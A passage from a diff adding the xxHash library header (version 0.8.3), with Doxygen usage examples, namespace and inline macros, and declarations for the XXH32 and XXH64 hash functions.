valid if the length is zero + * size_t length = (string == NULL) ? 0 : strlen(string); + * return XXH32(string, length, seed); + * } + * @endcode + * + * + * @anchor streaming_example + * **Streaming** + * + * These groups of functions allow incremental hashing of unknown size, even + * more than what would fit in a size_t. + * + * XXH32_reset(), XXH64_reset(), XXH3_64bits_reset(), XXH3_128bits_reset() + * + * @code{.c} + * #include + * #include + * #include "xxhash.h" + * // Example for a function which hashes a FILE incrementally with XXH3_64bits(). + * XXH64_hash_t hashFile(FILE* f) + * { + * // Allocate a state struct. Do not just use malloc() or new. + * XXH3_state_t* state = XXH3_createState(); + * assert(state != NULL && "Out of memory!"); + * // Reset the state to start a new hashing session. + * XXH3_64bits_reset(state); + * char buffer[4096]; + * size_t count; + * // Read the file in chunks + * while ((count = fread(buffer, 1, sizeof(buffer), f)) != 0) { + * // Run update() as many times as necessary to process the data + * XXH3_64bits_update(state, buffer, count); + * } + * // Retrieve the finalized hash. This will not change the state. + * XXH64_hash_t result = XXH3_64bits_digest(state); + * // Free the state. Do not use free(). + * XXH3_freeState(state); + * return result; + * } + * @endcode + * + * Streaming functions generate the xxHash value from an incremental input. + * This method is slower than single-call functions, due to state management. + * For small inputs, prefer `XXH32()` and `XXH64()`, which are better optimized. + * + * An XXH state must first be allocated using `XXH*_createState()`. + * + * Start a new hash by initializing the state with a seed using `XXH*_reset()`. + * + * Then, feed the hash state by calling `XXH*_update()` as many times as necessary. + * + * The function returns an error code, with 0 meaning OK, and any other value + * meaning there is an error. + * + * Finally, a hash value can be produced anytime, by using `XXH*_digest()`. + * This function returns the nn-bits hash as an int or long long. + * + * It's still possible to continue inserting input into the hash state after a + * digest, and generate new hash values later on by invoking `XXH*_digest()`. + * + * When done, release the state using `XXH*_freeState()`. + * + * + * @anchor canonical_representation_example + * **Canonical Representation** + * + * The default return values from XXH functions are unsigned 32, 64 and 128 bit + * integers. + * This the simplest and fastest format for further post-processing. + * + * However, this leaves open the question of what is the order on the byte level, + * since little and big endian conventions will store the same number differently. + * + * The canonical representation settles this issue by mandating big-endian + * convention, the same convention as human-readable numbers (large digits first). + * + * When writing hash values to storage, sending them over a network, or printing + * them, it's highly recommended to use the canonical representation to ensure + * portability across a wider range of systems, present and future. + * + * The following functions allow transformation of hash values to and from + * canonical format. + * + * XXH32_canonicalFromHash(), XXH32_hashFromCanonical(), + * XXH64_canonicalFromHash(), XXH64_hashFromCanonical(), + * XXH128_canonicalFromHash(), XXH128_hashFromCanonical(), + * + * @code{.c} + * #include + * #include "xxhash.h" + * + * // Example for a function which prints XXH32_hash_t in human readable format + * void printXxh32(XXH32_hash_t hash) + * { + * XXH32_canonical_t cano; + * XXH32_canonicalFromHash(&cano, hash); + * size_t i; + * for(i = 0; i < sizeof(cano.digest); ++i) { + * printf("%02x", cano.digest[i]); + * } + * printf("\n"); + * } + * + * // Example for a function which converts XXH32_canonical_t to XXH32_hash_t + * XXH32_hash_t convertCanonicalToXxh32(XXH32_canonical_t cano) + * { + * XXH32_hash_t hash = XXH32_hashFromCanonical(&cano); + * return hash; + * } + * @endcode + * + * + * @file xxhash.h + * xxHash prototypes and implementation + */ + +#if defined(__cplusplus) && !defined(XXH_NO_EXTERNC_GUARD) +extern "C" { +#endif + +/* **************************** + * INLINE mode + ******************************/ +/*! + * @defgroup public Public API + * Contains details on the public xxHash functions. + * @{ + */ +#ifdef XXH_DOXYGEN +/*! + * @brief Gives access to internal state declaration, required for static allocation. + * + * Incompatible with dynamic linking, due to risks of ABI changes. + * + * Usage: + * @code{.c} + * #define XXH_STATIC_LINKING_ONLY + * #include "xxhash.h" + * @endcode + */ +# define XXH_STATIC_LINKING_ONLY +/* Do not undef XXH_STATIC_LINKING_ONLY for Doxygen */ + +/*! + * @brief Gives access to internal definitions. + * + * Usage: + * @code{.c} + * #define XXH_STATIC_LINKING_ONLY + * #define XXH_IMPLEMENTATION + * #include "xxhash.h" + * @endcode + */ +# define XXH_IMPLEMENTATION +/* Do not undef XXH_IMPLEMENTATION for Doxygen */ + +/*! + * @brief Exposes the implementation and marks all functions as `inline`. + * + * Use these build macros to inline xxhash into the target unit. + * Inlining improves performance on small inputs, especially when the length is + * expressed as a compile-time constant: + * + * https://fastcompression.blogspot.com/2018/03/xxhash-for-small-keys-impressive-power.html + * + * It also keeps xxHash symbols private to the unit, so they are not exported. + * + * Usage: + * @code{.c} + * #define XXH_INLINE_ALL + * #include "xxhash.h" + * @endcode + * Do not compile and link xxhash.o as a separate object, as it is not useful. + */ +# define XXH_INLINE_ALL +# undef XXH_INLINE_ALL +/*! + * @brief Exposes the implementation without marking functions as inline. + */ +# define XXH_PRIVATE_API +# undef XXH_PRIVATE_API +/*! + * @brief Emulate a namespace by transparently prefixing all symbols. + * + * If you want to include _and expose_ xxHash functions from within your own + * library, but also want to avoid symbol collisions with other libraries which + * may also include xxHash, you can use @ref XXH_NAMESPACE to automatically prefix + * any public symbol from xxhash library with the value of @ref XXH_NAMESPACE + * (therefore, avoid empty or numeric values). + * + * Note that no change is required within the calling program as long as it + * includes `xxhash.h`: Regular symbol names will be automatically translated + * by this header. + */ +# define XXH_NAMESPACE /* YOUR NAME HERE */ +# undef XXH_NAMESPACE +#endif + +#if (defined(XXH_INLINE_ALL) || defined(XXH_PRIVATE_API)) \ + && !defined(XXH_INLINE_ALL_31684351384) + /* this section should be traversed only once */ +# define XXH_INLINE_ALL_31684351384 + /* give access to the advanced API, required to compile implementations */ +# undef XXH_STATIC_LINKING_ONLY /* avoid macro redef */ +# define XXH_STATIC_LINKING_ONLY + /* make all functions private */ +# undef XXH_PUBLIC_API +# if defined(__GNUC__) +# define XXH_PUBLIC_API static __inline __attribute__((__unused__)) +# elif defined (__cplusplus) || (defined (__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) /* C99 */) +# define XXH_PUBLIC_API static inline +# elif defined(_MSC_VER) +# define XXH_PUBLIC_API static __inline +# else + /* note: this version may generate warnings for unused static functions */ +# define XXH_PUBLIC_API static +# endif + + /* + * This part deals with the special case where a unit wants to inline xxHash, + * but "xxhash.h" has previously been included without XXH_INLINE_ALL, + * such as part of some previously included *.h header file. + * Without further action, the new include would just be ignored, + * and functions would effectively _not_ be inlined (silent failure). + * The following macros solve this situation by prefixing all inlined names, + * avoiding naming collision with previous inclusions. + */ + /* Before that, we unconditionally #undef all symbols, + * in case they were already defined with XXH_NAMESPACE. + * They will then be redefined for XXH_INLINE_ALL + */ +# undef XXH_versionNumber + /* XXH32 */ +# undef XXH32 +# undef XXH32_createState +# undef XXH32_freeState +# undef XXH32_reset +# undef XXH32_update +# undef XXH32_digest +# undef XXH32_copyState +# undef XXH32_canonicalFromHash +# undef XXH32_hashFromCanonical + /* XXH64 */ +# undef XXH64 +# undef XXH64_createState +# undef XXH64_freeState +# undef XXH64_reset +# undef XXH64_update +# undef XXH64_digest +# undef XXH64_copyState +# undef XXH64_canonicalFromHash +# undef XXH64_hashFromCanonical + /* XXH3_64bits */ +# undef XXH3_64bits +# undef XXH3_64bits_withSecret +# undef XXH3_64bits_withSeed +# undef XXH3_64bits_withSecretandSeed +# undef XXH3_createState +# undef XXH3_freeState +# undef XXH3_copyState +# undef XXH3_64bits_reset +# undef XXH3_64bits_reset_withSeed +# undef XXH3_64bits_reset_withSecret +# undef XXH3_64bits_update +# undef XXH3_64bits_digest +# undef XXH3_generateSecret + /* XXH3_128bits */ +# undef XXH128 +# undef XXH3_128bits +# undef XXH3_128bits_withSeed +# undef XXH3_128bits_withSecret +# undef XXH3_128bits_reset +# undef XXH3_128bits_reset_withSeed +# undef XXH3_128bits_reset_withSecret +# undef XXH3_128bits_reset_withSecretandSeed +# undef XXH3_128bits_update +# undef XXH3_128bits_digest +# undef XXH128_isEqual +# undef XXH128_cmp +# undef XXH128_canonicalFromHash +# undef XXH128_hashFromCanonical + /* Finally, free the namespace itself */ +# undef XXH_NAMESPACE + + /* employ the namespace for XXH_INLINE_ALL */ +# define XXH_NAMESPACE XXH_INLINE_ + /* + * Some identifiers (enums, type names) are not symbols, + * but they must nonetheless be renamed to avoid redeclaration. + * Alternative solution: do not redeclare them. + * However, this requires some #ifdefs, and has a more dispersed impact. + * Meanwhile, renaming can be achieved in a single place. + */ +# define XXH_IPREF(Id) XXH_NAMESPACE ## Id +# define XXH_OK XXH_IPREF(XXH_OK) +# define XXH_ERROR XXH_IPREF(XXH_ERROR) +# define XXH_errorcode XXH_IPREF(XXH_errorcode) +# define XXH32_canonical_t XXH_IPREF(XXH32_canonical_t) +# define XXH64_canonical_t XXH_IPREF(XXH64_canonical_t) +# define XXH128_canonical_t XXH_IPREF(XXH128_canonical_t) +# define XXH32_state_s XXH_IPREF(XXH32_state_s) +# define XXH32_state_t XXH_IPREF(XXH32_state_t) +# define XXH64_state_s XXH_IPREF(XXH64_state_s) +# define XXH64_state_t XXH_IPREF(XXH64_state_t) +# define XXH3_state_s XXH_IPREF(XXH3_state_s) +# define XXH3_state_t XXH_IPREF(XXH3_state_t) +# define XXH128_hash_t XXH_IPREF(XXH128_hash_t) + /* Ensure the header is parsed again, even if it was previously included */ +# undef XXHASH_H_5627135585666179 +# undef XXHASH_H_STATIC_13879238742 +#endif /* XXH_INLINE_ALL || XXH_PRIVATE_API */ + +/* **************************************************************** + * Stable API + *****************************************************************/ +#ifndef XXHASH_H_5627135585666179 +#define XXHASH_H_5627135585666179 1 + +/*! @brief Marks a global symbol. */ +#if !defined(XXH_INLINE_ALL) && !defined(XXH_PRIVATE_API) +# if defined(_WIN32) && defined(_MSC_VER) && (defined(XXH_IMPORT) || defined(XXH_EXPORT)) +# ifdef XXH_EXPORT +# define XXH_PUBLIC_API __declspec(dllexport) +# elif XXH_IMPORT +# define XXH_PUBLIC_API __declspec(dllimport) +# endif +# else +# define XXH_PUBLIC_API /* do nothing */ +# endif +#endif + +#ifdef XXH_NAMESPACE +# define XXH_CAT(A,B) A##B +# define XXH_NAME2(A,B) XXH_CAT(A,B) +# define XXH_versionNumber XXH_NAME2(XXH_NAMESPACE, XXH_versionNumber) +/* XXH32 */ +# define XXH32 XXH_NAME2(XXH_NAMESPACE, XXH32) +# define XXH32_createState XXH_NAME2(XXH_NAMESPACE, XXH32_createState) +# define XXH32_freeState XXH_NAME2(XXH_NAMESPACE, XXH32_freeState) +# define XXH32_reset XXH_NAME2(XXH_NAMESPACE, XXH32_reset) +# define XXH32_update XXH_NAME2(XXH_NAMESPACE, XXH32_update) +# define XXH32_digest XXH_NAME2(XXH_NAMESPACE, XXH32_digest) +# define XXH32_copyState XXH_NAME2(XXH_NAMESPACE, XXH32_copyState) +# define XXH32_canonicalFromHash XXH_NAME2(XXH_NAMESPACE, XXH32_canonicalFromHash) +# define XXH32_hashFromCanonical XXH_NAME2(XXH_NAMESPACE, XXH32_hashFromCanonical) +/* XXH64 */ +# define XXH64 XXH_NAME2(XXH_NAMESPACE, XXH64) +# define XXH64_createState XXH_NAME2(XXH_NAMESPACE, XXH64_createState) +# define XXH64_freeState XXH_NAME2(XXH_NAMESPACE, XXH64_freeState) +# define XXH64_reset XXH_NAME2(XXH_NAMESPACE, XXH64_reset) +# define XXH64_update XXH_NAME2(XXH_NAMESPACE, XXH64_update) +# define XXH64_digest XXH_NAME2(XXH_NAMESPACE, XXH64_digest) +# define XXH64_copyState XXH_NAME2(XXH_NAMESPACE, XXH64_copyState) +# define XXH64_canonicalFromHash XXH_NAME2(XXH_NAMESPACE, XXH64_canonicalFromHash) +# define XXH64_hashFromCanonical XXH_NAME2(XXH_NAMESPACE, XXH64_hashFromCanonical) +/* XXH3_64bits */ +# define XXH3_64bits XXH_NAME2(XXH_NAMESPACE, XXH3_64bits) +# define XXH3_64bits_withSecret XXH_NAME2(XXH_NAMESPACE, XXH3_64bits_withSecret) +# define XXH3_64bits_withSeed XXH_NAME2(XXH_NAMESPACE, XXH3_64bits_withSeed) +# define XXH3_64bits_withSecretandSeed XXH_NAME2(XXH_NAMESPACE, XXH3_64bits_withSecretandSeed) +# define XXH3_createState XXH_NAME2(XXH_NAMESPACE, XXH3_createState) +# define XXH3_freeState XXH_NAME2(XXH_NAMESPACE, XXH3_freeState) +# define XXH3_copyState XXH_NAME2(XXH_NAMESPACE, XXH3_copyState) +# define XXH3_64bits_reset XXH_NAME2(XXH_NAMESPACE, XXH3_64bits_reset) +# define XXH3_64bits_reset_withSeed XXH_NAME2(XXH_NAMESPACE, XXH3_64bits_reset_withSeed) +# define XXH3_64bits_reset_withSecret XXH_NAME2(XXH_NAMESPACE, XXH3_64bits_reset_withSecret) +# define XXH3_64bits_reset_withSecretandSeed XXH_NAME2(XXH_NAMESPACE, XXH3_64bits_reset_withSecretandSeed) +# define XXH3_64bits_update XXH_NAME2(XXH_NAMESPACE, XXH3_64bits_update) +# define XXH3_64bits_digest XXH_NAME2(XXH_NAMESPACE, XXH3_64bits_digest) +# define XXH3_generateSecret XXH_NAME2(XXH_NAMESPACE, XXH3_generateSecret) +# define XXH3_generateSecret_fromSeed XXH_NAME2(XXH_NAMESPACE, XXH3_generateSecret_fromSeed) +/* XXH3_128bits */ +# define XXH128 XXH_NAME2(XXH_NAMESPACE, XXH128) +# define XXH3_128bits XXH_NAME2(XXH_NAMESPACE, XXH3_128bits) +# define XXH3_128bits_withSeed XXH_NAME2(XXH_NAMESPACE, XXH3_128bits_withSeed) +# define XXH3_128bits_withSecret XXH_NAME2(XXH_NAMESPACE, XXH3_128bits_withSecret) +# define XXH3_128bits_withSecretandSeed XXH_NAME2(XXH_NAMESPACE, XXH3_128bits_withSecretandSeed) +# define XXH3_128bits_reset XXH_NAME2(XXH_NAMESPACE, XXH3_128bits_reset) +# define XXH3_128bits_reset_withSeed XXH_NAME2(XXH_NAMESPACE, XXH3_128bits_reset_withSeed) +# define XXH3_128bits_reset_withSecret XXH_NAME2(XXH_NAMESPACE, XXH3_128bits_reset_withSecret) +# define XXH3_128bits_reset_withSecretandSeed XXH_NAME2(XXH_NAMESPACE, XXH3_128bits_reset_withSecretandSeed) +# define XXH3_128bits_update XXH_NAME2(XXH_NAMESPACE, XXH3_128bits_update) +# define XXH3_128bits_digest XXH_NAME2(XXH_NAMESPACE, XXH3_128bits_digest) +# define XXH128_isEqual XXH_NAME2(XXH_NAMESPACE, XXH128_isEqual) +# define XXH128_cmp XXH_NAME2(XXH_NAMESPACE, XXH128_cmp) +# define XXH128_canonicalFromHash XXH_NAME2(XXH_NAMESPACE, XXH128_canonicalFromHash) +# define XXH128_hashFromCanonical XXH_NAME2(XXH_NAMESPACE, XXH128_hashFromCanonical) +#endif + + +/* ************************************* +* Compiler specifics +***************************************/ + +/* specific declaration modes for Windows */ +#if !defined(XXH_INLINE_ALL) && !defined(XXH_PRIVATE_API) +# if defined(_WIN32) && defined(_MSC_VER) && (defined(XXH_IMPORT) || defined(XXH_EXPORT)) +# ifdef XXH_EXPORT +# define XXH_PUBLIC_API __declspec(dllexport) +# elif XXH_IMPORT +# define XXH_PUBLIC_API __declspec(dllimport) +# endif +# else +# define XXH_PUBLIC_API /* do nothing */ +# endif +#endif + +#if defined (__GNUC__) +# define XXH_CONSTF __attribute__((__const__)) +# define XXH_PUREF __attribute__((__pure__)) +# define XXH_MALLOCF __attribute__((__malloc__)) +#else +# define XXH_CONSTF /* disable */ +# define XXH_PUREF +# define XXH_MALLOCF +#endif + +/* ************************************* +* Version +***************************************/ +#define XXH_VERSION_MAJOR 0 +#define XXH_VERSION_MINOR 8 +#define XXH_VERSION_RELEASE 3 +/*! @brief Version number, encoded as two digits each */ +#define XXH_VERSION_NUMBER (XXH_VERSION_MAJOR *100*100 + XXH_VERSION_MINOR *100 + XXH_VERSION_RELEASE) + +/*! + * @brief Obtains the xxHash version. + * + * This is mostly useful when xxHash is compiled as a shared library, + * since the returned value comes from the library, as opposed to header file. + * + * @return @ref XXH_VERSION_NUMBER of the invoked library. + */ +XXH_PUBLIC_API XXH_CONSTF unsigned XXH_versionNumber (void); + + +/* **************************** +* Common basic types +******************************/ +#include /* size_t */ +/*! + * @brief Exit code for the streaming API. + */ +typedef enum { + XXH_OK = 0, /*!< OK */ + XXH_ERROR /*!< Error */ +} XXH_errorcode; + + +/*-********************************************************************** +* 32-bit hash +************************************************************************/ +#if defined(XXH_DOXYGEN) /* Don't show include */ +/*! + * @brief An unsigned 32-bit integer. + * + * Not necessarily defined to `uint32_t` but functionally equivalent. + */ +typedef uint32_t XXH32_hash_t; + +#elif !defined (__VMS) \ + && (defined (__cplusplus) \ + || (defined (__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) /* C99 */) ) +# ifdef _AIX +# include +# else +# include +# endif + typedef uint32_t XXH32_hash_t; + +#else +# include +# if UINT_MAX == 0xFFFFFFFFUL + typedef unsigned int XXH32_hash_t; +# elif ULONG_MAX == 0xFFFFFFFFUL + typedef unsigned long XXH32_hash_t; +# else +# error "unsupported platform: need a 32-bit type" +# endif +#endif + +/*! + * @} + * + * @defgroup XXH32_family XXH32 family + * @ingroup public + * Contains functions used in the classic 32-bit xxHash algorithm. + * + * @note + * XXH32 is useful for older platforms, with no or poor 64-bit performance. + * Note that the @ref XXH3_family provides competitive speed for both 32-bit + * and 64-bit systems, and offers true 64/128 bit hash results. + * + * @see @ref XXH64_family, @ref XXH3_family : Other xxHash families + * @see @ref XXH32_impl for implementation details + * @{ + */ + +/*! + * @brief Calculates the 32-bit hash of @p input using xxHash32. + * + * @param input The block of data to be hashed, at least @p length bytes in size. + * @param length The length of @p input, in bytes. + * @param seed The 32-bit seed to alter the hash's output predictably. + * + * @pre + * The memory between @p input and @p input + @p length must be valid, + * readable, contiguous memory. However, if @p length is `0`, @p input may be + * `NULL`. In C++, this also must be *TriviallyCopyable*. + * + * @return The calculated 32-bit xxHash32 value. + * + * @see @ref single_shot_example "Single Shot Example" for an example. + */ +XXH_PUBLIC_API XXH_PUREF XXH32_hash_t XXH32 (const void* input, size_t length, XXH32_hash_t seed); + +#ifndef XXH_NO_STREAM +/*! + * @typedef struct XXH32_state_s XXH32_state_t + * @brief The opaque state struct for the XXH32 streaming API. + * + * @see XXH32_state_s for details. + * @see @ref streaming_example "Streaming Example" + */ +typedef struct XXH32_state_s XXH32_state_t; + +/*! + * @brief Allocates an @ref XXH32_state_t. + * + * @return An allocated pointer of @ref XXH32_state_t on success. + * @return `NULL` on failure. + * + * @note Must be freed with XXH32_freeState(). + * + * @see @ref streaming_example "Streaming Example" + */ +XXH_PUBLIC_API XXH_MALLOCF XXH32_state_t* XXH32_createState(void); +/*! + * @brief Frees an @ref XXH32_state_t. + * + * @param statePtr A pointer to an @ref XXH32_state_t allocated with @ref XXH32_createState(). + * + * @return @ref XXH_OK. + * + * @note @p statePtr must be allocated with XXH32_createState(). + * + * @see @ref streaming_example "Streaming Example" + * + */ +XXH_PUBLIC_API XXH_errorcode XXH32_freeState(XXH32_state_t* statePtr); +/*! + * @brief Copies one @ref XXH32_state_t to another. + * + * @param dst_state The state to copy to. + * @param src_state The state to copy from. + * @pre + * @p dst_state and @p src_state must not be `NULL` and must not overlap. + */ +XXH_PUBLIC_API void XXH32_copyState(XXH32_state_t* dst_state, const XXH32_state_t* src_state); + +/*! + * @brief Resets an @ref XXH32_state_t to begin a new hash. + * + * @param statePtr The state struct to reset. + * @param seed The 32-bit seed to alter the hash result predictably. + * + * @pre + * @p statePtr must not be `NULL`. + * + * @return @ref XXH_OK on success. + * @return @ref XXH_ERROR on failure. + * + * @note This function resets and seeds a state. Call it before @ref XXH32_update(). + * + * @see @ref streaming_example "Streaming Example" + */ +XXH_PUBLIC_API XXH_errorcode XXH32_reset (XXH32_state_t* statePtr, XXH32_hash_t seed); + +/*! + * @brief Consumes a block of @p input to an @ref XXH32_state_t. + * + * @param statePtr The state struct to update. + * @param input The block of data to be hashed, at least @p length bytes in size. + * @param length The length of @p input, in bytes. + * + * @pre + * @p statePtr must not be `NULL`. + * @pre + * The memory between @p input and @p input + @p length must be valid, + * readable, contiguous memory. However, if @p length is `0`, @p input may be + * `NULL`. In C++, this also must be *TriviallyCopyable*. + * + * @return @ref XXH_OK on success. + * @return @ref XXH_ERROR on failure. + * + * @note Call this to incrementally consume blocks of data. + * + * @see @ref streaming_example "Streaming Example" + */ +XXH_PUBLIC_API XXH_errorcode XXH32_update (XXH32_state_t* statePtr, const void* input, size_t length); + +/*! + * @brief Returns the calculated hash value from an @ref XXH32_state_t. + * + * @param statePtr The state struct to calculate the hash from. + * + * @pre + * @p statePtr must not be `NULL`. + * + * @return The calculated 32-bit xxHash32 value from that state. + * + * @note + * Calling XXH32_digest() will not affect @p statePtr, so you can update, + * digest, and update again. + * + * @see @ref streaming_example "Streaming Example" + */ +XXH_PUBLIC_API XXH_PUREF XXH32_hash_t XXH32_digest (const XXH32_state_t* statePtr); +#endif /* !XXH_NO_STREAM */ + +/******* Canonical representation *******/ + +/*! + * @brief Canonical (big endian) representation of @ref XXH32_hash_t. + */ +typedef struct { + unsigned char digest[4]; /*!< Hash bytes, big endian */ +} XXH32_canonical_t; + +/*! + * @brief Converts an @ref XXH32_hash_t to a big endian @ref XXH32_canonical_t. + * + * @param dst The @ref XXH32_canonical_t pointer to be stored to. + * @param hash The @ref XXH32_hash_t to be converted. + * + * @pre + * @p dst must not be `NULL`. + * + * @see @ref canonical_representation_example "Canonical Representation Example" + */ +XXH_PUBLIC_API void XXH32_canonicalFromHash(XXH32_canonical_t* dst, XXH32_hash_t hash); + +/*! + * @brief Converts an @ref XXH32_canonical_t to a native @ref XXH32_hash_t. + * + * @param src The @ref XXH32_canonical_t to convert. + * + * @pre + * @p src must not be `NULL`. + * + * @return The converted hash. + * + * @see @ref canonical_representation_example "Canonical Representation Example" + */ +XXH_PUBLIC_API XXH_PUREF XXH32_hash_t XXH32_hashFromCanonical(const XXH32_canonical_t* src); + + +/*! @cond Doxygen ignores this part */ +#ifdef __has_attribute +# define XXH_HAS_ATTRIBUTE(x) __has_attribute(x) +#else +# define XXH_HAS_ATTRIBUTE(x) 0 +#endif +/*! @endcond */ + +/*! @cond Doxygen ignores this part */ +/* + * C23 __STDC_VERSION__ number hasn't been specified yet. For now + * leave as `201711L` (C17 + 1). + * TODO: Update to correct value when its been specified. + */ +#define XXH_C23_VN 201711L +/*! @endcond */ + +/*! @cond Doxygen ignores this part */ +/* C-language Attributes are added in C23. */ +#if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= XXH_C23_VN) && defined(__has_c_attribute) +# define XXH_HAS_C_ATTRIBUTE(x) __has_c_attribute(x) +#else +# define XXH_HAS_C_ATTRIBUTE(x) 0 +#endif +/*! @endcond */ + +/*! @cond Doxygen ignores this part */ +#if defined(__cplusplus) && defined(__has_cpp_attribute) +# define XXH_HAS_CPP_ATTRIBUTE(x) __has_cpp_attribute(x) +#else +# define XXH_HAS_CPP_ATTRIBUTE(x) 0 +#endif +/*! @endcond */ + +/*! @cond Doxygen ignores this part */ +/* + * Define XXH_FALLTHROUGH macro for annotating switch case with the 'fallthrough' attribute + * introduced in CPP17 and C23. + * CPP17 : https://en.cppreference.com/w/cpp/language/attributes/fallthrough + * C23 : https://en.cppreference.com/w/c/language/attributes/fallthrough + */ +#if XXH_HAS_C_ATTRIBUTE(fallthrough) || XXH_HAS_CPP_ATTRIBUTE(fallthrough) +# define XXH_FALLTHROUGH [[fallthrough]] +#elif XXH_HAS_ATTRIBUTE(__fallthrough__) +# define XXH_FALLTHROUGH __attribute__ ((__fallthrough__)) +#else +# define XXH_FALLTHROUGH /* fallthrough */ +#endif +/*! @endcond */ + +/*! @cond Doxygen ignores this part */ +/* + * Define XXH_NOESCAPE for annotated pointers in public API. + * https://clang.llvm.org/docs/AttributeReference.html#noescape + * As of writing this, only supported by clang. + */ +#if XXH_HAS_ATTRIBUTE(noescape) +# define XXH_NOESCAPE __attribute__((__noescape__)) +#else +# define XXH_NOESCAPE +#endif +/*! @endcond */ + + +/*! + * @} + * @ingroup public + * @{ + */ + +#ifndef XXH_NO_LONG_LONG +/*-********************************************************************** +* 64-bit hash +************************************************************************/ +#if defined(XXH_DOXYGEN) /* don't include */ +/*! + * @brief An unsigned 64-bit integer. + * + * Not necessarily defined to `uint64_t` but functionally equivalent. + */ +typedef uint64_t XXH64_hash_t; +#elif !defined (__VMS) \ + && (defined (__cplusplus) \ + || (defined (__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) /* C99 */) ) +# ifdef _AIX +# include +# else +# include +# endif + typedef uint64_t XXH64_hash_t; +#else +# include +# if defined(__LP64__) && ULONG_MAX == 0xFFFFFFFFFFFFFFFFULL + /* LP64 ABI says uint64_t is unsigned long */ + typedef unsigned long XXH64_hash_t; +# else + /* the following type must have a width of 64-bit */ + typedef unsigned long long XXH64_hash_t; +# endif +#endif + +/*! + * @} + * + * @defgroup XXH64_family XXH64 family + * @ingroup public + * @{ + * Contains functions used in the classic 64-bit xxHash algorithm. + * + * @note + * XXH3 provides competitive speed for both 32-bit and 64-bit systems, + * and offers true 64/128 bit hash results. + * It provides better speed for systems with vector processing capabilities. + */ + +/*! + * @brief Calculates the 64-bit hash of @p input using xxHash64. + * + * @param input The block of data to be hashed, at least @p length bytes in size. + * @param length The length of @p input, in bytes. + * @param seed The 64-bit seed to alter the hash's output predictably. + * + * @pre + * The memory between @p input and @p input + @p length must be valid, + * readable, contiguous memory. However, if @p length is `0`, @p input may be + * `NULL`. In C++, this also must be *TriviallyCopyable*. + * + * @return The calculated 64-bit xxHash64 value. + * + * @see @ref single_shot_example "Single Shot Example" for an example. + */ +XXH_PUBLIC_API XXH_PUREF XXH64_hash_t XXH64(XXH_NOESCAPE const void* input, size_t length, XXH64_hash_t seed); + +/******* Streaming *******/ +#ifndef XXH_NO_STREAM +/*! + * @brief The opaque state struct for the XXH64 streaming API. + * + * @see XXH64_state_s for details. + * @see @ref streaming_example "Streaming Example" + */ +typedef struct XXH64_state_s XXH64_state_t; /* incomplete type */ + +/*! + * @brief Allocates an @ref XXH64_state_t. + * + * @return An allocated pointer of @ref XXH64_state_t on success. + * @return `NULL` on failure. + * + * @note Must be freed with XXH64_freeState(). + * + * @see @ref streaming_example "Streaming Example" + */ +XXH_PUBLIC_API XXH_MALLOCF XXH64_state_t* XXH64_createState(void); + +/*! + * @brief Frees an @ref XXH64_state_t. + * + * @param statePtr A pointer to an @ref XXH64_state_t allocated with @ref XXH64_createState(). + * + * @return @ref XXH_OK. + * + * @note @p statePtr must be allocated with XXH64_createState(). + * + * @see @ref streaming_example "Streaming Example" + */ +XXH_PUBLIC_API XXH_errorcode XXH64_freeState(XXH64_state_t* statePtr); + +/*! + * @brief Copies one @ref XXH64_state_t to another. + * + * @param dst_state The state to copy to. + * @param src_state The state to copy from. + * @pre + * @p dst_state and @p src_state must not be `NULL` and must not overlap. + */ +XXH_PUBLIC_API void XXH64_copyState(XXH_NOESCAPE XXH64_state_t* dst_state, const XXH64_state_t* src_state); + +/*! + * @brief Resets an @ref XXH64_state_t to begin a new hash. + * + * @param statePtr The state struct to reset. + * @param seed The 64-bit seed to alter the hash result predictably. + * + * @pre + * @p statePtr must not be `NULL`. + * + * @return @ref XXH_OK on success. + * @return @ref XXH_ERROR on failure. + * + * @note This function resets and seeds a state. Call it before @ref XXH64_update(). + * + * @see @ref streaming_example "Streaming Example" + */ +XXH_PUBLIC_API XXH_errorcode XXH64_reset (XXH_NOESCAPE XXH64_state_t* statePtr, XXH64_hash_t seed); + +/*! + * @brief Consumes a block of @p input to an @ref XXH64_state_t. + * + * @param statePtr The state struct to update. + * @param input The block of data to be hashed, at least @p length bytes in size. + * @param length The length of @p input, in bytes. + * + * @pre + * @p statePtr must not be `NULL`. + * @pre + * The memory between @p input and @p input + @p length must be valid, + * readable, contiguous memory. However, if @p length is `0`, @p input may be + * `NULL`. In C++, this also must be *TriviallyCopyable*. + * + * @return @ref XXH_OK on success. + * @return @ref XXH_ERROR on failure. + * + * @note Call this to incrementally consume blocks of data. + * + * @see @ref streaming_example "Streaming Example" + */ +XXH_PUBLIC_API XXH_errorcode XXH64_update (XXH_NOESCAPE XXH64_state_t* statePtr, XXH_NOESCAPE const void* input, size_t length); + +/*! + * @brief Returns the calculated hash value from an @ref XXH64_state_t. + * + * @param statePtr The state struct to calculate the hash from. + * + * @pre + * @p statePtr must not be `NULL`. + * + * @return The calculated 64-bit xxHash64 value from that state. + * + * @note + * Calling XXH64_digest() will not affect @p statePtr, so you can update, + * digest, and update again. + * + * @see @ref streaming_example "Streaming Example" + */ +XXH_PUBLIC_API XXH_PUREF XXH64_hash_t XXH64_digest (XXH_NOESCAPE const XXH64_state_t* statePtr); +#endif /* !XXH_NO_STREAM */ +/******* Canonical representation *******/ + +/*! + * @brief Canonical (big endian) representation of @ref XXH64_hash_t. + */ +typedef struct { unsigned char digest[sizeof(XXH64_hash_t)]; } XXH64_canonical_t; + +/*! + * @brief Converts an @ref XXH64_hash_t to a big endian @ref XXH64_canonical_t. + * + * @param dst The @ref XXH64_canonical_t pointer to be stored to. + * @param hash The @ref XXH64_hash_t to be converted. + * + * @pre + * @p dst must not be `NULL`. + * + * @see @ref canonical_representation_example "Canonical Representation Example" + */ +XXH_PUBLIC_API void XXH64_canonicalFromHash(XXH_NOESCAPE XXH64_canonical_t* dst, XXH64_hash_t hash); + +/*! + * @brief Converts an @ref XXH64_canonical_t to a native @ref XXH64_hash_t. + * + * @param src The @ref XXH64_canonical_t to convert. + * + * @pre + * @p src must not be `NULL`. + * + * @return The converted hash. + * + * @see @ref canonical_representation_example "Canonical Representation Example" + */ +XXH_PUBLIC_API XXH_PUREF XXH64_hash_t XXH64_hashFromCanonical(XXH_NOESCAPE const XXH64_canonical_t* src); + +#ifndef XXH_NO_XXH3 + +/*! + * @} + * ************************************************************************ + * @defgroup XXH3_family XXH3 family + * 